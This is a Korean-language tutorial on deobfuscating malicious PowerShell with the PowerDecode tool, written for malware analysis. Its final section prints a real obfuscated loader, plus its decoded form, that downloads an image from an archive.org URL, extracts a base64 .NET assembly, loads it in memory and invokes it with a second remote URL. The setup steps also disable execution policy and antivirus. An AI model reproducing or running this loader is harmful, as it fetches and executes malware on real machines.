PowerShell 난독화 해제 방법(with PowerDecode)

PowerShell 은 마이크로소프트에서 개발한 CLI, 스크립트 언어로, Windows 7 이상의 OS부터 기본적으로 설치되어 있다. 최근 버전의 Windows 시스템에 기본으로 설치되어 있다는 점, 파일 다운로드, 실행, 등을 수행할 수 있는 강력한 기능을 가졌다는 점으로 인해 악성 Powershell 스크립트는 항상 공격자에게 인기 있는 공격 수단이었다.
게다가 Powershell 은 문자열 조작, Base64 인코딩, GZIP 압축과 같은 기법을 이용해 스크립트를 사람이 읽기 힘들게 난독화할 수 있어 더욱 인기 있다.
이 글에서는 PowerDecode 라는 이름의 오픈소스 툴을 이용해 난독화된 PowerShell 스크립트를 난독화 해제하는 방법에 대해 설명하겠다.
1. 사용 전 주의점
PowerDecode 레포지토리에서는 해당 프로그램을 사용하기 전 다음과 같은 사항을 숙지할 것을 경고하고 있다.
- 스크립트 실행을 위해 동적 분석이 필요합니다. 해당 툴을 VirtualBox와 같은 격리된 환경에서만 사용하세요.
- 난독화 해제를 진행하기 전에 스크립트가 실행 가능한지 확인하세요.
- Windows Defender 가 PowerDecode 의 동작을 방해할 수 있습니다. 일시적으로 비활성화하세요.
가장 중요한 경고는 첫 번째 문항으로, 해당 툴은 동작 과정에서 난독화 해제 대상 스크립트를 동적으로 실행하기 때문에 시스템에 악영향을 미칠 수 있으므로, 결코 안전하지 않은 환경에서 실행하지 말라는 점이다.
이외에도 다음과 같은 실행 요구 사항을 알리고 있다.
- Windows Powershell v5.1
- Os Windows 10 64 bit
참고로 Powershell 버전이 낮으면 아래와 같이 'Get-MpComputerStatus' 용어가 cmdlet, 함수, 스크립트 파일 또는 실행할 수 있는 프로그램 이름으로 인식되지 않습니다.
라는 에러 메시지가 출력되면 실행되지 않는다.

2. 다운로드
PowerDecode 레포지토리에서는 특별한 Release 파일을 배포하고 있지 않다. 그냥 Code
- Download Zip
버튼을 클릭하여 전체 파일을 다운로드 하자.

3. 사용법
PowerDecode 레포지토리에서 설명하는 실행 방법은 다음과 같다.
- PowerShell 을 관리자 권한으로 실행.
Set-ExecutionPolicy bypass
명령어를 실행하여 PowerShell 실행 정책 제한을 해제.- 만약 앞선 방법으로 실행 정책이 변경되지 않으면 관리자 권한으로
regedit
을 실행 후Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell
레지스트리 Key 의ExecutionPolicy
Value 의 값을Bypass
로 변경해야 한다. 참고로 이 변경을 적용하면 이후에도 모든 PowerShell 스크립트가 경고 없이 실행될 수 있으므로 주의가 필요하다. - PowerDecode 를 방해할만한 안티 바이러스 프로그램 일시 정지.
- 다운로드한 Zip 파일 내
PowerDecode.bat
파일 실행.
참고로 PowerDecode.bat
의 실행 명령어 중 ExecutionPolicy
을 Bypass
로 변환하는 명령어가 포함되어 있기 때문에 시스템 설정이 적절하게 되어 있다면 굳이 앞선 과정에서 실행 정책을 변경하지 않아도 정상 동작한다.
PowerDecode.bat
을 실행하면 아래와 같은 메뉴가 출력된다. 이후부터는 메뉴 번호와 엔터 키를 눌러 진행하면 된다.

대부분의 경우 1번 Automatic decode mode
를 선택하여 자동 난독화 해제를 진행하면 된다.

Automatic decode mode
선택 후 메뉴
1번 메뉴는 단일 PowerShell 스크립트 파일을 선택할 수 있고, 2번 메뉴는 폴더 내 다수의 PowerShell 스크립트를 선택할 수 있다. 파일 확장자는 .txt
또는 .ps1
이어야 한다.
Input 파일(난독화된 PowerShell 스크립트)를 선택하면 실행 결과(Output) 파일을 생성할 경로를 지정하는 대화창이 출력된다. 선택하지 않으면 Output 파일이 생성되는 기본 경로는 PowerDecode 폴더다.

실제 악성 파일을 가지고 테스트해보겠다. 앞서 언급했듯이 PowerDecode 는 난독화 해제 과정에서 스크립트를 실행하므로 절대로 격리되지 않은 환경에서 실행해선 안된다.
이전에 작성한 악성 VBS 스크립트 분석 글에서 아래와 같은 PowerShell 스크립트가 발견됐다. 인식 가능한 문자열이 일부 보이나 대부분 순서가 바뀌거나 나뉘어져 읽기 어렵다.
(('{1}imageUrl = '+'{0'+'}https://ia600102.us.archive.org/32/items/detah-note-v_'+'202410/DetahNote_V.jpg {0};{1}webClient = '+'New-Object System.Net.WebClient;{1}imageBytes = {1}webClient.DownloadData({1}imageUr'+'l);{1}imageText = [System.Text.Encoding'+']::UTF8.GetString('+'{1}imageBytes);'+'{1}startFlag'+' = {0}<'+'<BASE64_STA'+'RT>>{0'+'};{1}endFlag = {0}<<BASE64_END>>{'+'0};{1}st'+'artIndex = {1}imageText.IndexOf({1}startFlag);{1}endIndex = '+'{1}imageText.IndexOf({1}'+'endFlag);{1}startIndex -ge 0 -and {1}endIndex -gt {1}startIndex;{1}startIndex += {1}startFlag.Length;{1}base64Length = {1}endIndex - {1}s'+'tartIndex;{1}'+'ba'+'s'+'e64Comm'+'and = {1}imageText.S'+'ubstring({1}startIndex, {1}base64Length);{1}commandByt'+'es'+' = [System.Convert]::FromBase64String({1}base64Command);{1}loadedAssembly = [System.Refl'+'ection.Assemb'+'ly]::Load({1}commandBytes);{1}vaiMethod = [dnlib.IO.Home].GetMethod({0}VAI{0}'+');{1}vaiMethod.Invoke({1}nu'+'ll, @({0}0/2Gf2A/d/ee.etsap//:sptth{0}, {0}desativado{0}, {0}desativado{0}, {0'+'}de'+'sativado{0}, {0}desativado{0}, {0}1{0}, {0}appidtel{0}));') -f[CHAR]39,[CHAR]36)|.( ([striNg]$veRBosePrEfErencE)[1,3]+'x'-JoiN'')
PowerDecode 로 위 스크립트를 난독화 해제한 결과, 최종적으로 아래와 같은 스크립트로 변환됐다.

$imageUrl = 'https://ia600102.us.archive.org/32/items/detah-note-v_202410/DetahNote_V.jpg ';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$vaiMethod = [dnlib.IO.Home].GetMethod('VAI');$vaiMethod.Invoke($null, @('0/2Gf2A/d/ee.etsap//:sptth', 'desativado', 'desativado', 'desativado', 'desativado', '1', 'appidtel'));
이 글에서는 PowerDecode 의 자동 분석 기능만을 설명했지만, 메뉴를 보면 사용자가 수동으로 입력 데이터의 타입을 지정하여 난독화 해제 하거나, 분석한 결과를 로컬 데이터베이스에 저장하여 반복되는 분석 작업 없이 데이터베이스를 참조하는 방법, 등에 관한 기능도 존재한다.